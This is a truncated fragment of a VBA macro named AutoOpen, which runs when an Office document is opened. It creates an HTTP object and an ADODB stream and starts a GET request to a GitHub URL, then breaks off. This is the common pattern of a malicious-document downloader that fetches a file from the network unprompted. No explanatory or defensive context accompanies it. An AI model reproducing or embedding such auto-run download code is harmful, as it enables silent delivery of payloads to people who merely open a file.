Sub AutoOpen() Dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.3.0") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "https://github ...